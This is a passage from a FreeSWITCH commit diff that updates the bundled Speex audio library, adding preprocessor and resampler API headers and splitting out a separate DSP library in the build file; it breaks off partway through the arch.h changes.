@@ -158,14 +130,90 @@
 /** Get preprocessor dereverb decay */
 #define SPEEX_PREPROCESS_GET_DEREVERB_DECAY 13
 
+/** Set probability required for the VAD to go from silence to voice */
 #define SPEEX_PREPROCESS_SET_PROB_START 14
+/** Get probability required for the VAD to go from silence to voice */
 #define SPEEX_PREPROCESS_GET_PROB_START 15
 
+/** Set probability required for the VAD to stay in the voice state (integer percent) */
 #define SPEEX_PREPROCESS_SET_PROB_CONTINUE 16
+/** Get probability required for the VAD to stay in the voice state (integer percent) */
 #define SPEEX_PREPROCESS_GET_PROB_CONTINUE 17
 
+/** Set maximum attenuation of the noise in dB (negative number) */
+#define SPEEX_PREPROCESS_SET_NOISE_SUPPRESS 18
+/** Get maximum attenuation of the noise in dB (negative number) */
+#define SPEEX_PREPROCESS_GET_NOISE_SUPPRESS 19
+
+/** Set maximum attenuation of the residual echo in dB (negative number) */
+#define SPEEX_PREPROCESS_SET_ECHO_SUPPRESS 20
+/** Get maximum attenuation of the residual echo in dB (negative number) */
+#define SPEEX_PREPROCESS_GET_ECHO_SUPPRESS 21
+
+/** Set maximum attenuation of the residual echo in dB when near end is active (negative number) */
+#define SPEEX_PREPROCESS_SET_ECHO_SUPPRESS_ACTIVE 22
+/** Get maximum attenuation of the residual echo in dB when near end is active (negative number) */
+#define SPEEX_PREPROCESS_GET_ECHO_SUPPRESS_ACTIVE 23
+
+/** Set the corresponding echo canceller state so that residual echo suppression can be performed (NULL for no residual echo suppression) */
+#define SPEEX_PREPROCESS_SET_ECHO_STATE 24
+/** Get the corresponding echo canceller state */
+#define SPEEX_PREPROCESS_GET_ECHO_STATE 25
+
+/** Set maximal gain increase in dB/second (int32) */
+#define SPEEX_PREPROCESS_SET_AGC_INCREMENT 26
+
+/** Get maximal gain increase in dB/second (int32) */
+#define SPEEX_PREPROCESS_GET_AGC_INCREMENT 27
+
+/** Set maximal gain decrease in dB/second (int32) */
+#define SPEEX_PREPROCESS_SET_AGC_DECREMENT 28
+
+/** Get maximal gain decrease in dB/second (int32) */
+#define SPEEX_PREPROCESS_GET_AGC_DECREMENT 29
+
+/** Set maximal gain in dB (int32) */
+#define SPEEX_PREPROCESS_SET_AGC_MAX_GAIN 30
+
+/** Get maximal gain in dB (int32) */
+#define SPEEX_PREPROCESS_GET_AGC_MAX_GAIN 31
+
+/*  Can't set loudness */
+/** Get loudness */
+#define SPEEX_PREPROCESS_GET_AGC_LOUDNESS 33
+
+/*  Can't set gain */
+/** Get current gain (int32 percent) */
+#define SPEEX_PREPROCESS_GET_AGC_GAIN 35
+
+/*  Can't set spectrum size */
+/** Get spectrum size for power spectrum (int32) */
+#define SPEEX_PREPROCESS_GET_PSD_SIZE 37
+
+/*  Can't set power spectrum */
+/** Get power spectrum (int32[] of squared values) */
+#define SPEEX_PREPROCESS_GET_PSD 39
+
+/*  Can't set noise size */
+/** Get spectrum size for noise estimate (int32)  */
+#define SPEEX_PREPROCESS_GET_NOISE_PSD_SIZE 41
+
+/*  Can't set noise estimate */
+/** Get noise estimate (int32[] of squared values) */
+#define SPEEX_PREPROCESS_GET_NOISE_PSD 43
+
+/* Can't set speech probability */
+/** Get speech probability in last frame (int32).  */
+#define SPEEX_PREPROCESS_GET_PROB 45
+
+/** Set preprocessor Automatic Gain Control level (int32) */
+#define SPEEX_PREPROCESS_SET_AGC_TARGET 46
+/** Get preprocessor Automatic Gain Control level (int32) */
+#define SPEEX_PREPROCESS_GET_AGC_TARGET 47
+
 #ifdef __cplusplus
 }
 #endif
 
+/** @}*/
 #endif

Copied: freeswitch/branches/seven/libs/speex/include/speex/speex_resampler.h (from rev 14471, freeswitch/trunk/libs/speex/include/speex/speex_resampler.h) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/include/speex/speex_resampler.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/include/speex/speex_resampler.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,340 @@
+/* Copyright (C) 2007 Jean-Marc Valin
+      
+   File: speex_resampler.h
+   Resampling code
+      
+   The design goals of this code are:
+      - Very fast algorithm
+      - Low memory requirement
+      - Good *perceptual* quality (and not best SNR)
+
+   Redistribution and use in source and binary forms, with or without
+   modification, are permitted provided that the following conditions are
+   met:
+
+   1. Redistributions of source code must retain the above copyright notice,
+   this list of conditions and the following disclaimer.
+
+   2. Redistributions in binary form must reproduce the above copyright
+   notice, this list of conditions and the following disclaimer in the
+   documentation and/or other materials provided with the distribution.
+
+   3. The name of the author may not be used to endorse or promote products
+   derived from this software without specific prior written permission.
+
+   THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
+   IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+   OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+   DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
+   INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+   (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+   SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+   HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+   STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
+   ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+   POSSIBILITY OF SUCH DAMAGE.
+*/
+
+
+#ifndef SPEEX_RESAMPLER_H
+#define SPEEX_RESAMPLER_H
+
+#ifdef OUTSIDE_SPEEX
+
+/********* WARNING: MENTAL SANITY ENDS HERE *************/
+
+/* If the resampler is defined outside of Speex, we change the symbol names so that 
+   there won't be any clash if linking with Speex later on. */
+
+/* #define RANDOM_PREFIX your software name here */
+#ifndef RANDOM_PREFIX
+#error "Please define RANDOM_PREFIX (above) to something specific to your project to prevent symbol name clashes"
+#endif
+
+#define CAT_PREFIX2(a,b) a ## b
+#define CAT_PREFIX(a,b) CAT_PREFIX2(a, b)
+      
+#define speex_resampler_init CAT_PREFIX(RANDOM_PREFIX,_resampler_init)
+#define speex_resampler_init_frac CAT_PREFIX(RANDOM_PREFIX,_resampler_init_frac)
+#define speex_resampler_destroy CAT_PREFIX(RANDOM_PREFIX,_resampler_destroy)
+#define speex_resampler_process_float CAT_PREFIX(RANDOM_PREFIX,_resampler_process_float)
+#define speex_resampler_process_int CAT_PREFIX(RANDOM_PREFIX,_resampler_process_int)
+#define speex_resampler_process_interleaved_float CAT_PREFIX(RANDOM_PREFIX,_resampler_process_interleaved_float)
+#define speex_resampler_process_interleaved_int CAT_PREFIX(RANDOM_PREFIX,_resampler_process_interleaved_int)
+#define speex_resampler_set_rate CAT_PREFIX(RANDOM_PREFIX,_resampler_set_rate)
+#define speex_resampler_get_rate CAT_PREFIX(RANDOM_PREFIX,_resampler_get_rate)
+#define speex_resampler_set_rate_frac CAT_PREFIX(RANDOM_PREFIX,_resampler_set_rate_frac)
+#define speex_resampler_get_ratio CAT_PREFIX(RANDOM_PREFIX,_resampler_get_ratio)
+#define speex_resampler_set_quality CAT_PREFIX(RANDOM_PREFIX,_resampler_set_quality)
+#define speex_resampler_get_quality CAT_PREFIX(RANDOM_PREFIX,_resampler_get_quality)
+#define speex_resampler_set_input_stride CAT_PREFIX(RANDOM_PREFIX,_resampler_set_input_stride)
+#define speex_resampler_get_input_stride CAT_PREFIX(RANDOM_PREFIX,_resampler_get_input_stride)
+#define speex_resampler_set_output_stride CAT_PREFIX(RANDOM_PREFIX,_resampler_set_output_stride)
+#define speex_resampler_get_output_stride CAT_PREFIX(RANDOM_PREFIX,_resampler_get_output_stride)
+#define speex_resampler_get_input_latency CAT_PREFIX(RANDOM_PREFIX,_resampler_get_input_latency)
+#define speex_resampler_get_output_latency CAT_PREFIX(RANDOM_PREFIX,_resampler_get_output_latency)
+#define speex_resampler_skip_zeros CAT_PREFIX(RANDOM_PREFIX,_resampler_skip_zeros)
+#define speex_resampler_reset_mem CAT_PREFIX(RANDOM_PREFIX,_resampler_reset_mem)
+#define speex_resampler_strerror CAT_PREFIX(RANDOM_PREFIX,_resampler_strerror)
+
+#define spx_int16_t short
+#define spx_int32_t int
+#define spx_uint16_t unsigned short
+#define spx_uint32_t unsigned int
+      
+#else /* OUTSIDE_SPEEX */
+
+#include "speex/speex_types.h"
+
+#endif /* OUTSIDE_SPEEX */
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#define SPEEX_RESAMPLER_QUALITY_MAX 10
+#define SPEEX_RESAMPLER_QUALITY_MIN 0
+#define SPEEX_RESAMPLER_QUALITY_DEFAULT 4
+#define SPEEX_RESAMPLER_QUALITY_VOIP 3
+#define SPEEX_RESAMPLER_QUALITY_DESKTOP 5
+
+enum {
+   RESAMPLER_ERR_SUCCESS         = 0,
+   RESAMPLER_ERR_ALLOC_FAILED    = 1,
+   RESAMPLER_ERR_BAD_STATE       = 2,
+   RESAMPLER_ERR_INVALID_ARG     = 3,
+   RESAMPLER_ERR_PTR_OVERLAP     = 4,
+   
+   RESAMPLER_ERR_MAX_ERROR
+};
+
+struct SpeexResamplerState_;
+typedef struct SpeexResamplerState_ SpeexResamplerState;
+
+/** Create a new resampler with integer input and output rates.
+ * @param nb_channels Number of channels to be processed
+ * @param in_rate Input sampling rate (integer number of Hz).
+ * @param out_rate Output sampling rate (integer number of Hz).
+ * @param quality Resampling quality between 0 and 10, where 0 has poor quality
+ * and 10 has very high quality.
+ * @return Newly created resampler state
+ * @retval NULL Error: not enough memory
+ */
+SpeexResamplerState *speex_resampler_init(spx_uint32_t nb_channels, 
+                                          spx_uint32_t in_rate, 
+                                          spx_uint32_t out_rate, 
+                                          int quality,
+                                          int *err);
+
+/** Create a new resampler with fractional input/output rates. The sampling 
+ * rate ratio is an arbitrary rational number with both the numerator and 
+ * denominator being 32-bit integers.
+ * @param nb_channels Number of channels to be processed
+ * @param ratio_num Numerator of the sampling rate ratio
+ * @param ratio_den Denominator of the sampling rate ratio
+ * @param in_rate Input sampling rate rounded to the nearest integer (in Hz).
+ * @param out_rate Output sampling rate rounded to the nearest integer (in Hz).
+ * @param quality Resampling quality between 0 and 10, where 0 has poor quality
+ * and 10 has very high quality.
+ * @return Newly created resampler state
+ * @retval NULL Error: not enough memory
+ */
+SpeexResamplerState *speex_resampler_init_frac(spx_uint32_t nb_channels, 
+                                               spx_uint32_t ratio_num, 
+                                               spx_uint32_t ratio_den, 
+                                               spx_uint32_t in_rate, 
+                                               spx_uint32_t out_rate, 
+                                               int quality,
+                                               int *err);
+
+/** Destroy a resampler state.
+ * @param st Resampler state
+ */
+void speex_resampler_destroy(SpeexResamplerState *st);
+
+/** Resample a float array. The input and output buffers must *not* overlap.
+ * @param st Resampler state
+ * @param channel_index Index of the channel to process for the multi-channel 
+ * base (0 otherwise)
+ * @param in Input buffer
+ * @param in_len Number of input samples in the input buffer. Returns the 
+ * number of samples processed
+ * @param out Output buffer
+ * @param out_len Size of the output buffer. Returns the number of samples written
+ */
+int speex_resampler_process_float(SpeexResamplerState *st, 
+                                   spx_uint32_t channel_index, 
+                                   const float *in, 
+                                   spx_uint32_t *in_len, 
+                                   float *out, 
+                                   spx_uint32_t *out_len);
+
+/** Resample an int array. The input and output buffers must *not* overlap.
+ * @param st Resampler state
+ * @param channel_index Index of the channel to process for the multi-channel 
+ * base (0 otherwise)
+ * @param in Input buffer
+ * @param in_len Number of input samples in the input buffer. Returns the number
+ * of samples processed
+ * @param out Output buffer
+ * @param out_len Size of the output buffer. Returns the number of samples written
+ */
+int speex_resampler_process_int(SpeexResamplerState *st, 
+                                 spx_uint32_t channel_index, 
+                                 const spx_int16_t *in, 
+                                 spx_uint32_t *in_len, 
+                                 spx_int16_t *out, 
+                                 spx_uint32_t *out_len);
+
+/** Resample an interleaved float array. The input and output buffers must *not* overlap.
+ * @param st Resampler state
+ * @param in Input buffer
+ * @param in_len Number of input samples in the input buffer. Returns the number
+ * of samples processed. This is all per-channel.
+ * @param out Output buffer
+ * @param out_len Size of the output buffer. Returns the number of samples written.
+ * This is all per-channel.
+ */
+int speex_resampler_process_interleaved_float(SpeexResamplerState *st, 
+                                               const float *in, 
+                                               spx_uint32_t *in_len, 
+                                               float *out, 
+                                               spx_uint32_t *out_len);
+
+/** Resample an interleaved int array. The input and output buffers must *not* overlap.
+ * @param st Resampler state
+ * @param in Input buffer
+ * @param in_len Number of input samples in the input buffer. Returns the number
+ * of samples processed. This is all per-channel.
+ * @param out Output buffer
+ * @param out_len Size of the output buffer. Returns the number of samples written.
+ * This is all per-channel.
+ */
+int speex_resampler_process_interleaved_int(SpeexResamplerState *st, 
+                                             const spx_int16_t *in, 
+                                             spx_uint32_t *in_len, 
+                                             spx_int16_t *out, 
+                                             spx_uint32_t *out_len);
+
+/** Set (change) the input/output sampling rates (integer value).
+ * @param st Resampler state
+ * @param in_rate Input sampling rate (integer number of Hz).
+ * @param out_rate Output sampling rate (integer number of Hz).
+ */
+int speex_resampler_set_rate(SpeexResamplerState *st, 
+                              spx_uint32_t in_rate, 
+                              spx_uint32_t out_rate);
+
+/** Get the current input/output sampling rates (integer value).
+ * @param st Resampler state
+ * @param in_rate Input sampling rate (integer number of Hz) copied.
+ * @param out_rate Output sampling rate (integer number of Hz) copied.
+ */
+void speex_resampler_get_rate(SpeexResamplerState *st, 
+                              spx_uint32_t *in_rate, 
+                              spx_uint32_t *out_rate);
+
+/** Set (change) the input/output sampling rates and resampling ratio 
+ * (fractional values in Hz supported).
+ * @param st Resampler state
+ * @param ratio_num Numerator of the sampling rate ratio
+ * @param ratio_den Denominator of the sampling rate ratio
+ * @param in_rate Input sampling rate rounded to the nearest integer (in Hz).
+ * @param out_rate Output sampling rate rounded to the nearest integer (in Hz).
+ */
+int speex_resampler_set_rate_frac(SpeexResamplerState *st, 
+                                   spx_uint32_t ratio_num, 
+                                   spx_uint32_t ratio_den, 
+                                   spx_uint32_t in_rate, 
+                                   spx_uint32_t out_rate);
+
+/** Get the current resampling ratio. This will be reduced to the least
+ * common denominator.
+ * @param st Resampler state
+ * @param ratio_num Numerator of the sampling rate ratio copied
+ * @param ratio_den Denominator of the sampling rate ratio copied
+ */
+void speex_resampler_get_ratio(SpeexResamplerState *st, 
+                               spx_uint32_t *ratio_num, 
+                               spx_uint32_t *ratio_den);
+
+/** Set (change) the conversion quality.
+ * @param st Resampler state
+ * @param quality Resampling quality between 0 and 10, where 0 has poor 
+ * quality and 10 has very high quality.
+ */
+int speex_resampler_set_quality(SpeexResamplerState *st, 
+                                 int quality);
+
+/** Get the conversion quality.
+ * @param st Resampler state
+ * @param quality Resampling quality between 0 and 10, where 0 has poor 
+ * quality and 10 has very high quality.
+ */
+void speex_resampler_get_quality(SpeexResamplerState *st, 
+                                 int *quality);
+
+/** Set (change) the input stride.
+ * @param st Resampler state
+ * @param stride Input stride
+ */
+void speex_resampler_set_input_stride(SpeexResamplerState *st, 
+                                      spx_uint32_t stride);
+
+/** Get the input stride.
+ * @param st Resampler state
+ * @param stride Input stride copied
+ */
+void speex_resampler_get_input_stride(SpeexResamplerState *st, 
+                                      spx_uint32_t *stride);
+
+/** Set (change) the output stride.
+ * @param st Resampler state
+ * @param stride Output stride
+ */
+void speex_resampler_set_output_stride(SpeexResamplerState *st, 
+                                      spx_uint32_t stride);
+
+/** Get the output stride.
+ * @param st Resampler state copied
+ * @param stride Output stride
+ */
+void speex_resampler_get_output_stride(SpeexResamplerState *st, 
+                                      spx_uint32_t *stride);
+
+/** Get the latency in input samples introduced by the resampler.
+ * @param st Resampler state
+ */
+int speex_resampler_get_input_latency(SpeexResamplerState *st);
+
+/** Get the latency in output samples introduced by the resampler.
+ * @param st Resampler state
+ */
+int speex_resampler_get_output_latency(SpeexResamplerState *st);
+
+/** Make sure that the first samples to go out of the resamplers don't have 
+ * leading zeros. This is only useful before starting to use a newly created 
+ * resampler. It is recommended to use that when resampling an audio file, as
+ * it will generate a file with the same length. For real-time processing,
+ * it is probably easier not to use this call (so that the output duration
+ * is the same for the first frame).
+ * @param st Resampler state
+ */
+int speex_resampler_skip_zeros(SpeexResamplerState *st);
+
+/** Reset a resampler so a new (unrelated) stream can be processed.
+ * @param st Resampler state
+ */
+int speex_resampler_reset_mem(SpeexResamplerState *st);
+
+/** Returns the English meaning for an error code
+ * @param err Error code
+ * @return English string
+ */
+const char *speex_resampler_strerror(int err);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif

Modified: freeswitch/branches/seven/libs/speex/include/speex/speex_stereo.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/include/speex/speex_stereo.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/include/speex/speex_stereo.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -34,6 +34,10 @@
 
 #ifndef STEREO_H
 #define STEREO_H
+/** @defgroup SpeexStereoState SpeexStereoState: Handling Speex stereo files
+ *  This describes the Speex intensity stereo encoding/decoding
+ *  @{
+ */
 
 #include "speex/speex_types.h"
 #include "speex/speex_bits.h"
@@ -42,7 +46,7 @@
 extern "C" {
 #endif
 
-/** State used for decoding (intensity) stereo information */
+/** If you access any of these fields directly, I'll personally come and bite you */
 typedef struct SpeexStereoState {
    float balance;      /**< Left/right balance info */
    float e_ratio;      /**< Ratio of energies: E(left+right)/[E(left)+E(right)]  */
@@ -52,9 +56,18 @@
    float reserved2;    /**< Reserved for future use */
 } SpeexStereoState;
 
-/** Initialization value for a stereo state */
+/** Deprecated. Use speex_stereo_state_init() instead. */
 #define SPEEX_STEREO_STATE_INIT {1,.5,1,1,0,0}
 
+/** Initialise/create a stereo stereo state */
+SpeexStereoState *speex_stereo_state_init();
+
+/** Reset/re-initialise an already allocated stereo state */
+void speex_stereo_state_reset(SpeexStereoState *stereo);
+
+/** Destroy a stereo stereo state */
+void speex_stereo_state_destroy(SpeexStereoState *stereo);
+
 /** Transforms a stereo frame into a mono frame and stores intensity stereo info in 'bits' */
 void speex_encode_stereo(float *data, int frame_size, SpeexBits *bits);
 
@@ -74,5 +87,5 @@
 }
 #endif
 
-
+/** @} */
 #endif

Modified: freeswitch/branches/seven/libs/speex/include/speex/speex_types.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/include/speex/speex_types.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/include/speex/speex_types.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -31,10 +31,10 @@
      typedef _G_int16_t spx_int16_t;
      typedef _G_uint16_t spx_uint16_t;
 #  elif defined(__MINGW32__)
-     typedef short spx_int16_t;                                                                             
-     typedef unsigned short spx_uint16_t;                                                                   
-     typedef int spx_int32_t;                                                                               
-     typedef unsigned int spx_uint32_t;                                                                     
+     typedef short spx_int16_t;
+     typedef unsigned short spx_uint16_t;
+     typedef int spx_int32_t;
+     typedef unsigned int spx_uint32_t;
 #  elif defined(__MWERKS__)
      typedef int spx_int32_t;
      typedef unsigned int spx_uint32_t;
@@ -56,7 +56,7 @@
    typedef SInt32 spx_int32_t;
    typedef UInt32 spx_uint32_t;
 
-#elif defined(__MACOSX__) /* MacOS X Framework build */
+#elif (defined(__APPLE__) && defined(__MACH__)) /* MacOS X Framework build */
 
 #  include <sys/types.h>
    typedef int16_t spx_int16_t;

Modified: freeswitch/branches/seven/libs/speex/libspeex/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -2,41 +2,54 @@
 #AUTOMAKE_OPTIONS = no-dependencies
 
 
-EXTRA_DIST=testenc.c testenc_wb.c testenc_uwb.c testdenoise.c testecho.c
+EXTRA_DIST=echo_diagnostic.m
 
-INCLUDES = -I$(top_srcdir)/include -I$(top_builddir)/include -I$(top_builddir)
+INCLUDES = -I$(top_srcdir)/include -I$(top_builddir)/include -I$(top_builddir)  @FFT_CFLAGS@
 
-lib_LTLIBRARIES = libspeex.la
+lib_LTLIBRARIES = libspeex.la libspeexdsp.la
 
 # Sources for compilation in the library
-libspeex_la_SOURCES = nb_celp.c 	sb_celp.c 	lpc.c 	ltp.c 	lsp.c 	quant_lsp.c \
-				lsp_tables_nb.c 	gain_table.c 	gain_table_lbr.c 	cb_search.c 	filters.c 	bits.c \
-				modes.c 	speex.c 	vq.c 	high_lsp_tables.c 	vbr.c 	hexc_table.c \
-				exc_5_256_table.c 	exc_5_64_table.c 	exc_8_128_table.c 	exc_10_32_table.c \
-				exc_10_16_table.c 	exc_20_32_table.c 	hexc_10_32_table.c 	misc.c 	speex_header.c \
-				speex_callbacks.c 	math_approx.c 	stereo.c 	preprocess.c 	smallft.c 	lbr_48k_tables.c \
-				jitter.c 	mdf.c vorbis_psy.c fftwrap.c kiss_fft.c _kiss_fft_guts.h kiss_fft.h \
-	kiss_fftr.c kiss_fftr.h window.c
+libspeex_la_SOURCES = 	cb_search.c 	exc_10_32_table.c 	exc_8_128_table.c \
+		filters.c 	gain_table.c 	hexc_table.c 	high_lsp_tables.c 	lsp.c \
+		ltp.c 	speex.c 	stereo.c 	vbr.c 	vq.c bits.c exc_10_16_table.c \
+	exc_20_32_table.c exc_5_256_table.c exc_5_64_table.c gain_table_lbr.c hexc_10_32_table.c \
+	lpc.c lsp_tables_nb.c modes.c modes_wb.c nb_celp.c quant_lsp.c sb_celp.c \
+	speex_callbacks.c speex_header.c window.c
 
-noinst_HEADERS = lsp.h 	nb_celp.h 	lpc.h 	lpc_bfin.h 	ltp.h 	quant_lsp.h \
-				cb_search.h 	filters.h 	stack_alloc.h 	vq.h 	vq_sse.h 	vq_arm4.h 	vq_bfin.h \
-				modes.h 	sb_celp.h 	vbr.h 	misc.h 	misc_bfin.h 	ltp_sse.h 	ltp_arm4.h \
-				ltp_bfin.h 	filters_sse.h 	filters_arm4.h 	filters_bfin.h 	math_approx.h \
-				smallft.h 	arch.h 	fixed_arm4.h 	fixed_arm5e.h 	fixed_bfin.h 	fixed_debug.h \
-				fixed_generic.h 	cb_search_sse.h 	cb_search_arm4.h 	cb_search_bfin.h vorbis_psy.h \
-		fftwrap.h pseudofloat.h lsp_bfin.h quant_lsp_bfin.h
+if BUILD_KISS_FFT
+  FFTSRC=kiss_fft.c _kiss_fft_guts.h kiss_fft.h kiss_fftr.c kiss_fftr.h 
+else
+if BUILD_SMALLFT
+  FFTSRC=smallft.c
+else
+  FFTSRC=
+endif
+endif
 
+libspeexdsp_la_SOURCES = preprocess.c jitter.c mdf.c fftwrap.c filterbank.c resample.c buffer.c scal.c $(FFTSRC)
 
+noinst_HEADERS = 	arch.h 	cb_search_arm4.h 	cb_search_bfin.h 	cb_search_sse.h \
+		filters.h 	filters_arm4.h 	filters_bfin.h 	filters_sse.h 	fixed_arm4.h \
+		fixed_arm5e.h 	fixed_bfin.h 	fixed_debug.h 	lpc.h 	lpc_bfin.h 	ltp.h 	ltp_arm4.h \
+		ltp_sse.h 	math_approx.h 		misc_bfin.h 	nb_celp.h 	quant_lsp.h 	sb_celp.h \
+		stack_alloc.h 	vbr.h 	vq.h 	vq_arm4.h 	vq_bfin.h 	vq_sse.h cb_search.h fftwrap.h \
+	filterbank.h fixed_generic.h lsp.h lsp_bfin.h ltp_bfin.h modes.h os_support.h \
+	pseudofloat.h quant_lsp_bfin.h smallft.h vorbis_psy.h resample_sse.h
+
+
 libspeex_la_LDFLAGS = -no-undefined -version-info @SPEEX_LT_CURRENT@:@SPEEX_LT_REVISION@:@SPEEX_LT_AGE@
+libspeexdsp_la_LDFLAGS = -no-undefined -version-info @SPEEX_LT_CURRENT@:@SPEEX_LT_REVISION@:@SPEEX_LT_AGE@
 
-noinst_PROGRAMS = testenc testenc_wb testenc_uwb testdenoise testecho
-testenc_SOURCES = testenc.c
-testenc_LDADD = $(top_builddir)/libspeex/libspeex.la
-testenc_wb_SOURCES = testenc_wb.c
-testenc_wb_LDADD = $(top_builddir)/libspeex/libspeex.la
-testenc_uwb_SOURCES = testenc_uwb.c
-testenc_uwb_LDADD = $(top_builddir)/libspeex/libspeex.la
-testdenoise_SOURCES = testdenoise.c
-testdenoise_LDADD = $(top_builddir)/libspeex/libspeex.la
-testecho_SOURCES = testecho.c
-testecho_LDADD = $(top_builddir)/libspeex/libspeex.la
+#noinst_PROGRAMS = testenc testenc_uwb testdenoise testecho testjitter testenc_wb
+#testenc_SOURCES = testenc.c
+#testenc_LDADD = libspeex.la
+#testenc_wb_SOURCES = testenc_wb.c
+#testenc_wb_LDADD = libspeex.la 
+#testenc_uwb_SOURCES = testenc_uwb.c
+#testenc_uwb_LDADD = libspeex.la
+#testdenoise_SOURCES = testdenoise.c
+#testdenoise_LDADD = libspeexdsp.la @FFT_LIBS@
+#testecho_SOURCES = testecho.c
+#testecho_LDADD = libspeexdsp.la @FFT_LIBS@
+#testjitter_SOURCES = testjitter.c
+#testjitter_LDADD = libspeexdsp.la @FFT_LIBS@

Modified: freeswitch/branches/seven/libs/speex/libspeex/_kiss_fft_guts.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/_kiss_fft_guts.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/_kiss_fft_guts.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -20,6 +20,7 @@
    and defines
    typedef struct { kiss_fft_scalar r; kiss_fft_scalar i; }kiss_fft_cpx; */
 #include "kiss_fft.h"
+#include "math_approx.h"
 
 #define MAXFACTORS 32
 /* e.g. an fft of length 128 has 4 factors 
@@ -44,7 +45,7 @@
    C_ADDTO( res , a)    : res += a
  * */
 #ifdef FIXED_POINT
-#include "misc.h"
+#include "arch.h"
 # define FRACBITS 15
 # define SAMPPROD spx_int32_t 
 #define SAMP_MAX 32767
@@ -67,6 +68,10 @@
       do{ (m).r = sround( smul((a).r,(b).r) - smul((a).i,(b).i) ); \
           (m).i = sround( smul((a).r,(b).i) + smul((a).i,(b).r) ); }while(0)
 
+#   define C_MUL4(m,a,b) \
+               do{ (m).r = PSHR32( smul((a).r,(b).r) - smul((a).i,(b).i),17 ); \
+               (m).i = PSHR32( smul((a).r,(b).i) + smul((a).i,(b).r),17 ); }while(0)
+
 #   define DIVSCALAR(x,k) \
 	(x) = sround( smul(  x, SAMP_MAX/k ) )
 
@@ -84,6 +89,9 @@
 #define C_MUL(m,a,b) \
     do{ (m).r = (a).r*(b).r - (a).i*(b).i;\
         (m).i = (a).r*(b).i + (a).i*(b).r; }while(0)
+
+#define C_MUL4(m,a,b) C_MUL(m,a,b)
+
 #   define C_FIXDIV(c,div) /* NOOP */
 #   define C_MULBYSCALAR( c, s ) \
     do{ (c).r *= (s);\
@@ -140,6 +148,11 @@
 		(x)->r = KISS_FFT_COS(phase);\
 		(x)->i = KISS_FFT_SIN(phase);\
 	}while(0)
+#define  kf_cexp2(x,phase) \
+               do{ \
+               (x)->r = spx_cos_norm((phase));\
+               (x)->i = spx_cos_norm((phase)-32768);\
+}while(0)
 
 
 /* a debugging function */

Modified: freeswitch/branches/seven/libs/speex/libspeex/arch.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/arch.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/arch.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -35,12 +35,55 @@
 #ifndef ARCH_H
 #define ARCH_H
 
+#ifndef SPEEX_VERSION
+#define SPEEX_MAJOR_VERSION 1         /**< Major Speex version. */
+#define SPEEX_MINOR_VERSION 1         /**< Minor Speex version. */
+#define SPEEX_MICRO_VERSION 15        /**< Micro Speex version. */
+#define SPEEX_EXTRA_VERSION ""        /**< Extra Speex version. */
+#define SPEEX_VERSION "speex-1.2beta3"  /**< Speex version string. */
+#endif
+
+/* A couple test to catch stupid option combinations */
+#ifdef FIXED_POINT
+
+#ifdef FLOATING_POINT
+#error You cannot compile as floating point and fixed point at the same time
+#endif
+#ifdef _USE_SSE
+#error SSE is only for floating-point
+#endif
+#if ((defined (ARM4_ASM)||defined (ARM4_ASM)) && defined(BFIN_ASM)) || (defined (ARM4_ASM)&&defined(ARM5E_ASM))
+#error Make up your mind. What CPU do you have?
+#endif
+#ifdef VORBIS_PSYCHO
+#error Vorbis-psy model currently not implemented in fixed-point
+#endif
+
+#else
+
+#ifndef FLOATING_POINT
+#error You now need to define either FIXED_POINT or FLOATING_POINT
+#endif
+#if defined (ARM4_ASM) || defined(ARM5E_ASM) || defined(BFIN_ASM)
+#error I suppose you can have a [ARM4/ARM5E/Blackfin] that has float instructions?
+#endif
+#ifdef FIXED_POINT_DEBUG
+#error "Don't you think enabling fixed-point is a good thing to do if you want to debug that?"
+#endif
+
+
+#endif
+
+#ifndef OUTSIDE_SPEEX
 #include "speex/speex_types.h"
+#endif
 
 #define ABS(x) ((x) < 0 ? (-(x)) : (x))      /**< Absolute integer value. */
 #define ABS16(x) ((x) < 0 ? (-(x)) : (x))    /**< Absolute 16-bit value.  */
+#define MIN16(a,b) ((a) < (b) ? (a) : (b))   /**< Maximum 16-bit value.   */
 #define MAX16(a,b) ((a) > (b) ? (a) : (b))   /**< Maximum 16-bit value.   */
 #define ABS32(x) ((x) < 0 ? (-(x)) : (x))    /**< Absolute 32-bit value.  */
+#define MIN32(a,b) ((a) < (b) ? (a) : (b))   /**< Maximum 32-bit value.   */
